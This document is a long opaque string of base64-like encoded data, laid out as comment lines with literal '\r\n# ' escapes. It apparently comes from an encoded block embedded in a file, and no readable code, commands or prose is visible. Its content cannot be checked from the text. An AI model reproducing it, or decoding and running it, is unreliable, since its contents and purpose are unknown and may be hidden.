mZGbfD5mbCeQnKvfWGq9GG9H2Nx1pR5lPq3Kda4LEp6qENLKagbsyx84zj7VBax+4oLabFOdoBX+TePSqUgip9aiuXAPH3LpAvjb\r\n# 5N9iHMkAz0xAZcT2mPhVHy9Op0Sa3oglKPSWr+RUjOz1bjyZ9z9ZllPn1Lcef0SoyMU8UdJUxpRdMRCDhOfMdnXQSHtU1eOBd+41\r\n# iVJrNvcOp5Lvfi0p4Xcuw4T+gnpCRbBLnV+aRL2Mn9bT3Fzzfeaxu93ofWFwM13Xht9uMO5ZK+jX2hu4qqzz24aQc5dn0CflBRX/\r\n# 3AaOuTI1uxC6h+F3dPKLgWzw1Qsaq5Tb/Qivl8zIwq9E2HyVsugpUlMDb5W2Tl74uo/Fxzb8YIKjU5QajvCUE39QBf5X8Z81b+34\r\n# 3Pec456QOODSqm7dd3dyFrKM5tWaWiNVeIug1cs2pGNnNifOe9X78PC9rGnoDKV/Xwf8hT5sQPYBuf+Ri/8AMrC/zwtZm17LIfiU\r\n# KY4s8WWo8VaUvd4JR29BRkfVOpgC1pB6WEBKpGzohPeGoM/mzG62O9kU4YTdd/VqKUL5G5uU/NB8S5FvmG9TT5+n3u9TT31CYQF4\r\n# lptKGP6T2AJKIPyFiojKzqS9zuj3zGsW8bEwxyS51dYXuOYyKmcXHCaus/DJPU6vCEyeUgZozYZocs/QizwTc3P5Hf0hVAA/cpmn\r\n# wA+2YH/BMbNCv7DhbDJMOB6yqrqRtcrhJfJGFtJWatTl9W6dAlf0tpp0/CJr2A5UsoFk/4Mkkizx11nBccar2x6M8AdrR/lSGcIM\r\n# nsqS0dPl1HdSbLl522gKznWp5NXCFFf3SG+R7hcoZOFOKODS7ippxQcGK0vkKMxAi69uny9/9Qx5uoMOH9OVXCYGAFq9pCP4fqP9\r\n# bUdx5zlF0yPSSMVlb/mX+w0Rqcitsb7SiaWFlmt/hPx76E76O5hVb43AyCTMTtsWcsKEfpuxbOowfQN0drUON+1iEzSLcVa59xJY\r\n# T9M5r7zLqe+KZXNllKqIM83iU89UeY9B1+pMSMHqb7PbYtewpZEGr9LdM/99M+UK886oaKwofN36sQ3J/PVFjcyKo1ZEPmVTg9yU\r\n# qwRwi/6kV2u+UaG3PE3ks0Upow+bsTJ/cqcVfbeqSYtZLyrRv0fduKKufzk3UtTU70copO11L9qy0TDgtrJj/aNGEwjRhxLqucWX\r\n# HGvyQUSlkDUFtGpzLnx9YVgXTrhcxoMJ+SCN73Lw4Fcr4mMoWobxI+82JvBIUsBWz2tRIHDA+6zqgqvuG8LSjxaSi7LpllMlLSOH\r\n# pK6/kNJ2wbj6/kI2uEhxTSKazrEc/A3teaXM7Wm/eslPhFZCoosttN5a2JS7dq6XodMau19/UPZXsObD2Q5QXrFovzmiOFarFqLK\r\n# VltGSr5lTsSDKHCJ0PbNKiLlO3EqW+IMCrdzYaxHKPldQEeSWjtyquUpptJZn7AqfKHFYBOUBw3pWWnCZxzAUmC4pqTBnRskvorS\r\n# 3aCJJeppEz8rJzwK3ZDOOO2sZygX+0haT9SjF4TeIAJqzOd58AHtzTgwbpTtEqQ4z0XvZ1vSNfetKaR/PMbSrPJPsDheZvTbHCop\r\n# /5tgi12uXUszqAUmLamkeF95H5po5NafYNcsLqjlmwzi3rPCXG9y/ZcejrVI7nCj9mUUlaWXeJpUcD2TOzDPJ26VaRfUd8XBX1+E\r\n# V5kS2jJxm0rw7cpXGmLaGT2cpvs7bqaCMUx4qbb1CtWnyhqnIWPIt4o7Wqc+AV0XzAfXODJHiBQo5MngIG7YufavJ/F4DmPJ4uKU\r\n# zR3Trdfs/wGB8P5pUnn3z0h1hF8FMWpbfp/KT1gtGLHst/IklJ7GcJ5zcA7f/fl6J625wnGiXv5gj8/N2T/GvZuyGuqb0zdJb4Uh\r\n# lG29pR7KJ49xEVOLOfpUQ+l8LduMH/bTlCn1v2hj/6TcdOR+4tshDj690mdBjVREk3+KekxPWCu/K480MTgz9kPujfEartW2uY5u\r\n# +9Qb9QWaLffh53c/H35OzmDd4AdjjRUmkGW+YBFJ9EJcqPKH0mpWX+Gl+/28lSr59JzwkFGz14+43+rIru6GU2HfpqGJK25QdUyp\r\n# d/AqvJbLygqUJdy6vqECdsaG+xDCPpp6lktpsBjWUr/XXZuw+tXF4N5HW1jC3cA1RnrfS5ZtpdfO5xxym/0Vx36om5+k2bwPjOR9\r\n# 2tOf7/am9nfVv6Tb2Jg+bpQ+2HEs53tLTp5vMFA38Qdgd/Z2435Dff1jt0A+8tl/pKZ186Bz9Xydimo9kXOZ6/zZxVHG+n3aElCK\r\n# UlXnxRj+9fdOxfgPDNv48fw2ngpbQv8lLYdHMw1cLZYUdnXsNFm7E37HlvBkwdFZmFfaHn2S2T6hHTvgZbw69YcxiP706F9Ghcyb\r\n# EtDf41GycRvs8nyLhNOQ8C4whVB4Yl92QiCYsm2unfFJAzCKWwx/Sbs48HtIhc0QWSnOIlsrv/aETHQgU+4kfGJ8eO0a7nxRxhPh\r\n# f5ZSvurAXVrjd46u27Byfv2A/8mF6yl3LVKQJZ0RRyTOlLd7BCD5VXT/ELDZYVtGXeEt76HWdTW858dXAB2u87O3yOV0oB1yhFWX\r\n# GjKp8ohbs/evMVopMON7H2dXtFhj8S57dS2fVv+nGTYRvtk6muV+dLJM6muijWMIvZSO0pS23hwSvu7S+B8yZN3jUc4QVc8SSLTD\r\n# 7TRhyqZCQgUqJO9wGERv1f4lLfC85y+JzuBn6SjxWojwVjlTcJ+bxN6jtWWLjUDdzVhadj4w9/34lUd7AuaScWcbJYoEfsXEeqWs\r\n# sH9oJFq+yrs+9AHdGWdpwU2FcryOLfH5sLi1TzRaN3buHYrEt6iv0n28ZYl0JzywZf9aBcV2nkpaoVPPsYmJbHMQVgSHXuRV7ujs\r\n# X0bPQoiZjZ9nYs+xRY2XmSVzxmgBm8fOXed2IrkdQ2mt15ogwS7sBfFRlGLWQPk09KG03SH3OcoG3/2m/3N1Oy/SDp5DkChG9wUM\r\n# TKuDInqnp9jxyDBSrxNlFFp0ApTz55pIRxTBhAzoJthN7C68YgH2WiJi8fPwa7VCWaH8UqjHIcm/OvEm+j6jkTdNzO6xXzMDh7+F\r\n# ApLDE9TnHbELHtBx5lN4ICVQaUfkm9QrSETF8rsrMaVmP+ES60VRJhnnOKkQ1GI3KRhTvdL93KtYdNWeEwRFG3KYntuCttOOrWA5\r\n# j1Qn6CZsZ34807psj/6CD0HBc0g9C7XdrfbKV/Q4XIeT6i7SzRK+yGvLyMS8i6Gg1zOw69L0+rZ83A8o0b9ZUJVdmCWDYtYbHNm/\r\n# qzCGUuf2fhyRaZDO2an5rZrVx//1VVKY9KySVc1yfCitFiIzsBqffdSLbsjt+tnUSveC6I8iCu/ZQ0IokVXJUsC3w+sWeCbYlFqi\r\n# d4UISnrE5oj6fNvRxz8XHx+nlWxYiPhQP9aYt8+kpkywj6foUabTtfkrFMktCPOgqyYf8MnlKWNfdWyzoNudELNLgZcWX1uT0dab\r\n# dTTcXzQuxWrIwuVbbnb56FjWHam6N1Se3+E8wNsta6eZaGn1Z5nm7Q6xtnWf7LmNC8ljBjkE8Mtqjw7J12uYUYE1MYYZZ2pyZMhe\r\n# JvZrlY/0Z+p1lvQ9odUDb4xKx85co5hyNaYbiLhE+ZyjdRYqFvsikGShcIsg0xUMnREoao1GZpv9S0gXWIJmh1GP0vXMUmqNvQ6N\r\n# kmnVN8pwrTyXNUsw0a6FMUfopSptlDZIslzRF+TcYdpH+cuy7xCkQvkC1yLEyFm0zCmgJth4XqdxZKhNfnaA/qdMEy2nPcR1nuXZ\r\n# Z/uYc/V3iuk1yzXNUUp7gOW5xlvKNc0lT9JshH7Y1VfZNU74clznGOjFoKRS8Mgb5UYOBXDHCwVBObRXqQzn9NWOVbTsq6rluzLt\r\n# fvIwiMyZNYyYgI/2YGTyUkZbWK/4L9THjc6x6D3xeI6zc4rmIb5UoR2qNXzlgukRtwlbsW5sXH5wH5wE4p8m7vDaVTZEzqoJ59kE\r\n# pzcVkirhtlmb25fvu58vnavZiMr/vQfeN1x6cxpX3zDtGFEL6evSYjTHHrjElgg6EaET4sPVBjn0rCvMBnAsvM9dhXkh+JRH/bBw\r\n# OOVEznGyVeXWV6bHn3XxcfABtXkjmTcSfCEp948HzKoSZ8QenX+QVqG5UPHvxwTlsP1wJOdFvf758zFufO0gtReX8Jm1kHpy6yHF\r\n# Yq7ctLh2Aqi1yvWTVkpMhcOx5PZylkfjug8vIcj1b6fnX0kTq1zgvVivUu8xi67CHugE8tefPrJNvL6JW4P3M0wJfC+iShy7E0LN\r\n# 7fbNwmTeoUhph0su7ES3YJ9URqGxXaD70or6hmGN2W29ebPI5ZJln2RZzEGFPcjmBAjrm0IZX4h5Oxuy3a4ivPHhdUzl7tmoDZuS\r\n# yiXWnvqNXWvxlihzvuXAVw19/kfEOTyXN2Rg7rjIe7fJaovccn4lTCL3ByKfHjBOvkB4DfVXzbFrMCtcuGbcWlrhPHNdjnzj+3nP\r\n# pcfrFROwM7+0aPKY7feUWtf8YfxNxs0z37PlmslTRKkjC3Qg9k/zOfjnyyqWbV2RH1n+1LbHTfjl9px1f8DAT8Z3LA+VZlnupFRX\r\n# wbJn4UghqYRVhRYvMazC2GPNHVZiEWUjYPbyuewt7XoxTWn8hp//AADmuKMUSmYR5AbPCH7fJjLJ4/J19boom5QtyoNbU3lxkarj\r\n# NXL8/wRbxU5cpofl7sYhQdrK1BL3rmm+yLmUzKC8Wyr9uYuWlWODYM3XdoYYXq0S1+HKg5kytfDYprJtj+tdUqiuji3EruX0xNC/\r\n# 94SwEfknsTj9ADfdatm+ypqe0ZkNXP9SwFtbwupe7dPp2iqFMqq5rvL/E6Y+TqyapT2NzjjpB5PnEPB3leeqkVhQnM1BKjeImFnR\r\n# XOhdgCA6ocBS94DAMM8MqMJupKyzu3n64XCNFHvONEPZaQeUtVlHKzu6cqalymUt7ZoGpVpslXwH8Wasn4uUxPm6We1rOU0WF3sW\r\n# dzZmynoiOKn8nulguxcvvEBUtMaSlsyZnrGqdS/WqTRW3OyXl08CHXcbaAPqitOu6tiucfb6foHA+Gs20OGXOlWxezDNnVXNSDvR\r\n# ifBhgXl0wVio8mqBoiZRPy5cT0DOQmVouSg7tqjj2oPV6N5qVNAvG/dGcyBZibMyyHDPCyZQcIW6n5JhK5uhPY4XnXonCvJLMFUq\r\n# yAuH82WS68LqAHC+iPyDHDttuRvqlxbga1mA6H/I/Jcf9RLzAC0VdH/fhWE6t0NgVWMcHPJM59D36Txz7iSxzUFnzAe9cJXX/Vbc\r\n# dxftdkWaduuG+sE5/ZnguWnvBC1w2oUqnv39Eo/xyTEljyZirMV9ajlbuE3JBWbiUzcQX5fBMrlmY/MPtrlaUx5k3YleiLAojI3K\r\n# l+rp5j1uK/2bkY+e3GnvmxI7OX8pzDOcbzB0XPl8drvV/8wWRf4SpfSy01Zt8ddJd7lgMpdVymuNViPxaJzLsmq79MS8TYH7+Ydb\r\n# ycLX2ksizxM9ZRWM7HzxmxtYozBnRXbMHitYeCEyypanU+lX0TZOmz5k8SDDfTtf/Ep6izGpMr5tRXaljqbYZ8de3ZBxoLry7yPM\r\n# Ku681ogorNBYlvQOXJZjn+2Qd3tDeD8dD+EHqpfKiru+2fVk3qmm6s/HJTni/MDzejXZML8/u03P++vkoX/sWiXaoWN/h8d6Scva\r\n# WjdUsDvFyQXnA+MDd8iZhSozUfqntHYvkuRV9d9fTKH+OKXLvmhGloZrSZ68znf6dVl867I7S0pp6+s7UKm/v8FmMYIXlbELFvqT\r\n# ucGwcoRKs9GYqVn4Kb4F6wxpJ+y3m9j9Ir6DcGwwPWuOsgk73a0byCuuDG8EVOuEH3byXXreWsmANXR6TX9q/fFpDnz59eOAEucc\r\n# GTjz29Ok7L/HPyuCJo48h5vQY/Qzzz/BzEiLgSQnRz+k8AY88fbo8cPr2z+i3ht/DyIIy83Ap5YlDxwcOU+LdgRFz7OnT1UMjZsT\r\n# gA5cJQGW9TT/Hnz79wwHxPgbviKHibt+R4KwGb0twmH6GUc5zIwalHmXnMLvk/2iQyh+Q7w3Q9/7sXzOAYq6wB6B/43y/Zh9Kvzv\r\n# AiZD9ecPZnzeaicN5+uzQcalK9dDRo/jiZfru8cGjWq3nEfVnf0W/lE4C9/T3r+mXO+YoQn8r0I8GnzeD9PsTI5+qHqIfBgwJAAm\r\n# eH5CyUdufHGXAMU1KUcct4Ccn2XdSMvkcTzL4cc3h4U8x/LjAnyfg0ePq8bBB+fLgCUr/VQXZZAz8uvpR5VFp009e0t9vDnCvfSg\r\n# /ZfmpDWhXSq/8paZ9XX/H9HdSf6f197L+vq2/s7a/jtLvYfQBuvUnVyz4+PPmOIOPA7wgHz0sPz/UMlYk8Q8GqQFAy5+UuEdsrxv\r\n# bUM3DnfZ+lGTQZh+kuNufWt+f/XZQ+46+OHgSXfj06Zv8maPWg8I+tAPm4gdt/OATPAYDglTS1x9pXz+Br9tyqPzjQSDMNvj8IRm\r\n# +Q8ePD0nW5w8RHvyk6kJhURT0RVHAYgFwn5HMCGTA4tt20BcD3sO40NA+bssvzePnzTFbIKfoaYqb9HuCu2D49j9mmPyOILX69Yf\r\n# z/YA8z/TH6c+T1IIIgCy3tRJ3dV5isv/kU438TCNvD9g5L4QCbUP8nw5www8zbXpeqNXzQpOeNzR2t//poIC4dj8VIM9Ahh6XprH\r\n# 3uIOe4H6XbEePD7ikefWe9PGcz3qP8fcs/vzMTn2BDfp5e0hQdhCj/edutAVbB4VoBDP5kGCN0gzBkX8Y5mJkPyRYIDg14tFWSav\r\n# z/IA9I65nQKIl0nUjrwI0XwAEQR14QhYFKZm75yc/xyIhXZF330Grf2HpNdacv36Mx3lQgz9nCnvsCK9Zt39+hFcrXpjyHHtcQ4D\r\n# +nOp6+7+BR9a9r/OC9XVO83Mt7zMp6c6f6++vpST+pfg7JxV+VH+NLIEMR/yn+uW/1hr9tXz7zqh++85JfI6TU2+dOMEEcgRUgoI\r\n# j5utHuGYMuPM0AExTEB6+c1YT4Lv/RH8b+ttDsT/5tYaq+vuh1uq2hm9r2Ojvz/RXW3/nF/r7S/39FffuExr6Z1LpJxCmyuEXleL\r\n# w8MDw7V+iDj/9AVX9p/+QPH9qPT/Vr/8GgJ8R4FNKOPwPTrL7lHTQj4aOMIfxo6Gj3APDP5q1nrcF38nzhPXNPoG8P5rVvAuad4G\r\n# hb0sfMum9898DYD2zkv+J03d+q005Kr9Hn7Axf3xbfEfJJ6X/8bb+XpFmcIo7/1OQ9phLc+e/0DTbkkZiUDeOwYgflZR/ApSn8Ok\r\n# //s3pOwua+yhxTSckvUXIO5r+zqfyrROn//gzhdxW1NP6IOYYDcjfqA9DBB/PZs2Gqn1GsxpBxsN/omUpOn22Lej72bZ22Z/8UhJ\r\n# 8Zhv4z2w1Pvu1NuDOp+TXWWJnx0kNf6rhT20VP/u1rSLnJ5jkP8FQVxa+JKvHCZqKgzJdn9CeNFLoj/Uj/HtYp1pNp3DeT+Xbtr/\r\n# +XLHns98ePaG+vzz945ccTijRuPPnh9HzJ7j/h+/+gqHyO6y/6PVPtYc++0vr+asjIMH0a7/zVzp2d38pNbmrnXmncfT44Om7/2L\r\n# 47mX2/FfDdz+0nh57/tvhu1Xr+Yw9fzl8933rkez/ZvjuKHv+9fDdl9jzXw/f/ch6PmXP3w7fnWbPr4bvTmJy/PgoB387fLdkPW2\r\n# t3D9nwK/td35tv/Ob4buz8PzYDN8FrRy++1WG/xV5uD3UJww+yeB7w3efsp4n+ZPbHPs+uw123+byhobvSm3+y+G7K9azLZ1Ho3b\r\n# iKBP64dt/I7gMEJPqzywZ/0ywChGCVeKTKfnZSxZT7/5Mp94xO9R37YrwmaKUw8+7PzuO6UK/hE9cJ/Yw/pGHv6+kXQsZvvOvFG9\r\n# u80yj30GeWrePa/D0j59SjOWOYQBS/FhJ3x2tzR1dvZgKH1YqjPp+XX6/bunu13kL94R+9lc6x36l4Z9r2K527EFFfiX1Ak2vMXo\r\n# f1ly1IPcvNPcvHuPcoEhHweD+xu6wPpTd0E8X5Jf4+RHdAo0Ixy17rN/aNZu2QyO6HRoxvODqdmhEtkMjdjs0Inz8iNsOMc9A2x/\r\n# 9cF5K5hQjuv1B1EkpRTgJ2f5YxuEpy4Tw/pOiZVfDftno8A+VPPi4lizF+Cy65xH/Ed7zjOieZ0T3PCO6nxnR/Qx+h3/0jIYnpV+\r\n# OaXBafy/r79v6O2vbTxtL3dgo4PiI3dKM6CZmRPcuyn7x5tfIXsW2/EP2CZM1INvnEdlqUDuM7C2kTWGawZFDNs2gbBskzcgh4f7\r\n# 9Bwd4bInpH1GmP9jmK7M/osz+SMDYjxj9GTyiniPM4I8otz6i3Lv8fqq/n9Gv57sps2Om9WN/qgl/KgkZHTj2pE84ogy051kHfe8\r\n# N+gE/JBy0bXjEp44oo5weOThCw/5cggP2jK3En+3jkIkACYgnxzGdh7/R36Oy/Nz+pYY/FPb3hK41v1WwjbbsoIbv/nOFV5nuLhz\r\n# jGoBMnsAeRP2apqd5fslU+0mm0SfJo+Cf2ZUbhI+pZoOIA+pLPB3j6o8uEW/HLPdPlZRxaPinH7HbZrfh1tvZIUP/hgbgDBqYSE4\r\n# AguCTHBwyfUkOmX1gAA4dhvMYnCPOOWjio3COpeRwwa+K1ecdFhSK7pLo50h5k/f9WlpEWg0evrrH4ZyAcxLO43CegPM7+heUt29\r\n# PfuEPnYIzDOc0nKfgfBXOM3CehfN1OM/t17vABjiDQ7YWj8E5CucYnONwTsJ5As4wnKfgnIHzDJyvwXkWziicF+H8HpxX4HwTzrf\r\n# gvAbndThtOB/D6Ug1Dtpybu8onLeNQ9Yvb9xOuUJ9n464jn0azlfu28XPw3nBVfIsnG+46mbh5C2CUG0HB8zgoBk8hO4fPGwGHyM\r\n# qawaPmsFjZvC4HyGasEi8MEBpB381MFj9kyEACLr4+/s3n1u5WpwtDth/fX3lu8m4oO+wg3bsqYceBZ9432xpESaOeDjSQuGhe66\r\n# 6R+MPmSf3+SSnw2wYOvoYYANwBuEcgoOIQ4/ZoviTH8EpO0R6EkmefMxiBGbI0CiCbQQxEYbaCH6MIKbE0McIbiO4jeA2gnUE6wj\r\n# WH7PYiak4NPyYRbOzCJ5FsIMgJtZQB0EcRQx1Eew+ZpGacfI0YN+AcxoR34DTQ0QPsB6CuwjuIriLIM+FEQRHEHwRQUz3oRcRvIH\r\n# gDQRvILiH4B6CewjyFALlGHoKwZcQfAnBlxC8ieBNBG8ieAvBWwjeQpBnz9sIvo0gz6MsglkEZxCcQXAGwRyCOQRzCK4guILgCoL\r\n# vIfgegu8huMqTBMFVBIsIFhEsIjiG4BiCYwiOIziO4DiCGQQzCGYQnEBwAsEJBHn6MX1JkBbuCCYjjEgnBy0iMRIOwBmEcwgOsgw\r\n# dhvMYnCNwjsI5Buc4nBNwTsJ5HM4TcE7BeRLOMGP2aZQMZxDOIThAhKHDcB6DcwTOUTjH4ByHY55CNjiDcA7BQfWHDsN5DM4ROEf\r\n# hHINzHM4JOCfhPA7nCTin4JinUR6cQTiH4ICqDh2G8xicI3COwjkG5zicE3BOwnkczhNwTsF5Es4wnNNwRuA8BedpOOa2dQbgDMI\r\n# 5BGcIzmE4j8E5AuconGNwjsM5CedxOE/AOQXnSThn4HwVzjNwvgbnWThMWv4tnP8Vzv8G56/h/A2c/x3O/wHn/4Tzf8H5v+H8P3D\r\n# +Fs7fwfl3cH53QJLmMezx/SjmvqT0AKR538QHLc/YCF3mhgIPrXFPmsFRM/i2oYEZJCaEi+GVdJRnO5zbXAxoLq+pv3FBLH/KpR4\r\n# 1OnN+es/oDCuW7Ne5MqjDo5lXp+GMwHkKztNwvgLnDJyvwnkGztfgPAvn63Ceg/M8nBfgjMI5C+cbcF6E8xKcl+H8HpxX4HwTzqs\r\n# 8n4fRIjiDcA7BwaIwdBjOY3COwDkK5xic43BOwDkJ53E4T8A5BedJOMNwTsMZgfMUnKfhfAXOGThfhfMMnK8551k4X4fzHJzn4bw\r\n# AZxTOWTjfgPMinJfgvAzn9+C8AuebcF6F8y04r8F5Hc45OOfhvAFnDM44nAycCTiTcKbgXIBzEc40nEtw3oTzbTiXnS+BvPcNEss\r\n# 0ODA0cHTgyYHRgbcHbqei7wGmg+TzaRAmVu+rZvA3hMhHBond/t19URsKCkPmbWOJWsoObihlBqfFPrnfDIu/29/U/TmyqPtu70s\r\n# EqUjwvZzq73HSAerhZCX3JaH7drNxziGXZMilG3Sw+zP8nqIectkei7vOM8pHXKF+n3D/nUDaLuIMHL+V+Fpc57+f0skPVbWDbnU\r\n# 8+/6F909pLP39UY93Q1kHY770rEv3guvJ51zvPus67KuuJ592vTvixmM4buATrqYnXe2PuxYdda18zLV8KO5x3zYTB9Maff9gYlQ\r\n# fapoOYIoZOP/DgO0SmlV/L/mNAYl44HikVS1tveei9i0l8V2hQ0xLBqPaS28cjT4+6sp72wUHXclDiUIfXN00ZDVx/Q46Rq7kfQV\r\n# Qp+XWUQj6CpQ/G/z6FuxxObC/SVZj7UQrwUK/fM193JMCo2IY7HvMk0O/w4bT/K3tl98dCdo2BBQYgHNINvp2s/8bOPdQ8j006x6\r\n# adQ/Nuodm3UOH3UOH3UOH3UOH3UOh9zA/7mGm3MOcuYfZcw/z6B4+fg9z6x5m2T3Mt3uYefcwB+9hNt4DXbuHyXkPjbmHxtzDrL0\r\n# HZL2HmXwPc/oeZvc9DPc9zPh7mPv3sKW8h73hvaGX4fwenFfgfBPOq3C+Bec1OK/DOQfnPJw34IzBGYeTgTMBZxLOFJwLcC7CmYZ\r\n# zCc6bcL4N5zKct+B8B8534bwNJwtnBk4OziycPJw5OPNwrsApwHkHzrtwFuAswlmCswxnBc57cFbh7It1adjZD3v7806ILyL9Slu\r\n# 3DioHY5EB7/1f/gLT+d9X7X110yp+f4KSRtu/u1+6RPAAXxMY73TgDA6lVGjfiAfXNC3JQbPJQrAfz5pWSd8EFozwBu6wizhoOzw\r\n# 2HUmp2r+DjJ4F9Qc94/gc7PTnzJbg/verUGKSJBozdMBsDz+30j70OZo1anRTc4DyEn1wAEYkbUPkIzybfNDe3bebEoc9j6Szv3D\r\n# x9y8grYf6BqB//t5f8pM+FFzKIJzRB5G0aATvCRdkcMj0JaKeuZ2oFSc9CudJrSStsnBuczX8Ydnt1GqcOkBdUlqZxoqf2q83Dgp\r\n# 7eCKzgNgNOJtwtuHU4XwK5z+G85/A+QWc/xTOL+H8Cs6/hPOv4Px3cO7B+bfua5twPmUf+NjNIRscJdQZ+l8IR4f+BWH/UPVPyMn\r\n# +lJz/+Vf9XfIlTiss78iFDhHPYCpk/zXfd/TJLxkBf0fM/UHmxsP3zr45Eq38wv1+gAIOwEelxX4Lzl/9HTn/49/tkyTRTWlC67S\r\n# eNI7AGOWs0+f45x1p7Oc8Nf+ChGhU6mdAkj5vJfto2pBU0nbE28E37o85idi0tTctXVq2fUd/3+BDcQ6u4vc/ex88YQZPmsHHzeA\r\n# TZvAUi0CHzeBpAy26p8zg02bwK2bwDMtwnzGDXzODz5rBr5vB5wxuHb3AouGzZvAbZvBFM/iSGXzZDP6eGXzFDH7TDL5qBr9lBl8\r\n# zg6+bwXNm8LwZfMMMjvExyB3fTbfdAIy68bjPNiExwdKWl8+FsWnVOOpQZdDixqjD06MHGrd9kSYxqvviVWLBvP8nH8m28v79x1K\r\n# d3516IazGgeelrMdP7kcjjjpS4CkDDU9ayalTMvE1V/LvDr0Qdt2TLu/bruQvxGuYl+9QXnIG4RyCMwTnMJzH4ByRJP3Fc8lp/Zz\r\n# awMSgJPvvtqd6SusWZxdXhv6j/8wWtS/ndeB5JCOzDxI+OuxkIe2TDsaMzIDwMub5AappafAr1zrl9lJrJ3+zUmv36q2d0nantdc\r\n# dOMo6RvTvccrwbq1W2q5t9ow5jDIiN44/M2BO51rtW5361nZv9F/+49HRzNj4BZv21QHz0vTYRvnCRHny3MXq5Pi5ybHapXPli5n\r\n# MuQvV6tT0RmZ6Y/NizZiTA+bI+Pkx/NnMARn4/41DvZg3+1X+GC3uhV6t+SDYo6oZ9yqPyVRlaipT3rhwbrMyduncZGVj4tx0beL\r\n# CuUxmszw2Ubl4aXrjYlq+fG724sT02BglzGXPTW6MVc9lZ6amzuUvzWQv5i9MjE9np9LyZadmxmby+ey5fO5C5tzkhfHpc9Nj45l\r\n# z2czk3FwuM3FpYjKX/NTUpdnpWcKT7Gz24rnJS+XMuelLM1PnspPjU9m53Fzu0tRcIsv0dH4iMz156dxYdiyLVo2duzRGJVzMzWb\r\n# yl/LjE5fymUSWcnl6szw9Nnlu4/9l733g4zqq+9G7d7V779WVVrsrO1kHyVGIDU7Ihv3/hybg/ScccIJJDAQITSTtCvuHHRtHBoe\r\n# YohWSvH8kWxRTXHCp8mqKaV1wqNMGCK2BpLjgEFMMNWCooaEYnlvMw4EALn3ne2buaCU7JOknlL73ib07d+Z7z/w7c86ZM3PnroY\r\n# iSWpYIhYejA0lw0PxZLxSJnYMpeIX61C8FI0WCqVSuBjJ5MOJeIUa1h+JhuOxdDSdSyWKuYiTjyQbGq4/qVg8FzwXPBf8d4N5all\r\n# ORgajpLbh8hApY6KcyoQH09FyOJ2KDmfLiexwNhNZmCWViQ4mhsvhTLpCWWKVofDAcCJBFieeqaRig+VYKrUgSzaaiFaGyWbG05G\r\n# hcGIgPRAeLA8nw+nh2HC6nCoPxYYTC7IkBoejmSGqIBNNpahhw0PhwWQigszZcjlaGaxEswuypCLZaDkZHwhn42lqWDIdDw9UyPR\r\n# m44OpaDmaHhqIiFrcnOWikZY2RxLJVDydpDanqXNDaSoomx0ID6SGB9KZgYHBaCR9sdl+jtFs9oqp/mR/KhpOJ+OZcDRapHmjmMy\r\n# HI5FoJJGPJ0vpUqtRVvkK8VIxE8/Ew8lcAvMNMSufyKfDkWiGbGW2lMzEiprmFfmQoZgs5fOZEtnufL5EGWgMs5lcKpyLFyKJQr5\r\n# Y6k8lVIaXuLTkjeuHtmy6a9PwyLXF9QNvvnPTXSPrh+669uatd46s31i59obCpi3FyuDWN1/rRAobBu6665l0ytsyMsMVkpByJBz\r\n# PVtLgZTo8WMlUwkPZ4cwQiVgmFY9wBv0ZsS3n0q57pt24ceDOgTdXtsjeyDa21JxPp/JRKj0cTfXTlBjPxcP5XL4/XMynaIJN0Iy\r\n# YjzyTNpZc2sqn28bSxsFKuVwpF1bfvIDrLQ2MRaP90VgyEc4X0jTQuX6SjGwuF46k0vFIhoSmWIzOY75sZ+wpR0sJbotYycyJ35y\r\n# ZPZZilNKZTDhS6ic1TZNFINElAcxFsrlsfyZCSjm/Gu5NqRRJJShXIVIkLYvlo+F8LFUM98fT2STJbCTVn5+fa2ELc7H+XKQ/A8c\r\n# ikUQL+8O5AiULpViu2F9MxyKZ5AU2sCV/uj9eiCWoX+lStEgtoEJyhXgu3J+O9WcyyWwhEylcJFeqmC7m8hnUmhC1ZnNRsmilWPZ\r\n# itbZkLWXjkUIqnQ2nM7l+sppJYmmOVDsfyZGgRfrBqwtzxaKVbDk7FCEHdBADUR4Ok+oMhyPkXMYikaHsAKzuwlyFQjpfyJOjRqa\r\n# Ahy9GViFeoOGLEM8imXgCZuRJBj3+tCQGGSLZVCkTLZJbWyiS0sQi5HrGSTALqSTNH7lsqT+dnJchFSUrFiPfMRohpiXyxVQ4U8h\r\n# jDIv5YiKfiaWTuXkZ6G42lYumwnmIWCJGhi6fjhbCxSK5r+QQlwqFwvwa4oVcNB8jmYonyYBmyJTmi8l0OBrvz0ST/ckMCegFYsG\r\n# GtD+ZTUbSVHQiTX1JZkukaVQdebrpEklWfzGSelJ1SZDsRvspS6oIcU4UMuFcqZAOx1KFYj7XnyjFsxlJmYvloqVCNpxJlgrEgf5\r\n# 8ONtPvMhlsv3F/lKkv5SJzy9/4bDmSpnfPKwtAhB/ZgIgy8/+5lwXaOV8RspCCk+rEM6QJBubLcTDpXSR5u8cKXEmHc+H0/2RBH3\r\n# TZAvSF1oQ2cPE06+G29X/FDrRkiEfiWRKuUwxnM6ReUrE+0lX87FIuD+fT+YiiUg8kyvNn4tTJGWRfJ4MSYkyFKJZkr10LFxKFMh\r\n# CJ2l51j9fHaKR/lg6kc2GyXbQai9eoJ7H43GavGPRYrqQzRbyid9sBUvFdDqZjJPhLRZI8KLUxkyqSC5LKUZTf7rYX4B5YHtJrci\r\n# lksUwLRdh73LQ1VwynEyXMjlMIGk4Vi1FkyXIFpIlcoRKtAAl5vSH83Cw+rNF8hKLqVIplnhyIe1/ioGZLzOoK5XECjsZI9uYiMO\r\n# B6adprkizHpmdWDyRnt+4ZCmbouVxmEIyJMkSzTqx/v5wJJ5KZ9I0YIVi6UlkJtf/FFpxYZdoZiskshFS1QSJaaKUKIbzqViWrFA\r\n# hSgvyZDxWzFzM/kaetqylioU4zWfRMA17XmTI5LJJykDTUDobKyVRw8LR74+UopkMsS0dyydlNekUcYHW9YVsPlFMRgoXa1f0mSp\r\n# N6qktTn8+UswWSqQjJTjuKTK82WI8Rs5AjJSlFOsvZqMXKzr9tNuSLEXyyQTVUMxkyEKnYikaD9LHXCobLUVy6Uw+sUCCSaQiyX4\r\n# qsh8Z+uMl0otinuQ+GiGPg25nky1O+IVtewpDe2GGp7CcPGfGsklMm+EYeZzUixzJcCZG3mQ8RiKdz5PU5C9WdO4ZC208V0gUU4U\r\n# wWRFyvuMlYleqUCA/K0oLqlKSci7cSiJO5gq5IrUtjrVPqkKWqZ+4kCfXMxGNRYqxbOpibXsKW6/0j4xmksSEPLVUKiLI80VyGhz\r\n# yRDZ/0a7IKSX/NKuRUv70ONbSjeLTny1bjXgmVyTPidyFNOVzOpVY0Cme+7OlBJl2Mta5LA19qZAjzpKTFotl+ykzCWu2/0mMVh6\r\n# 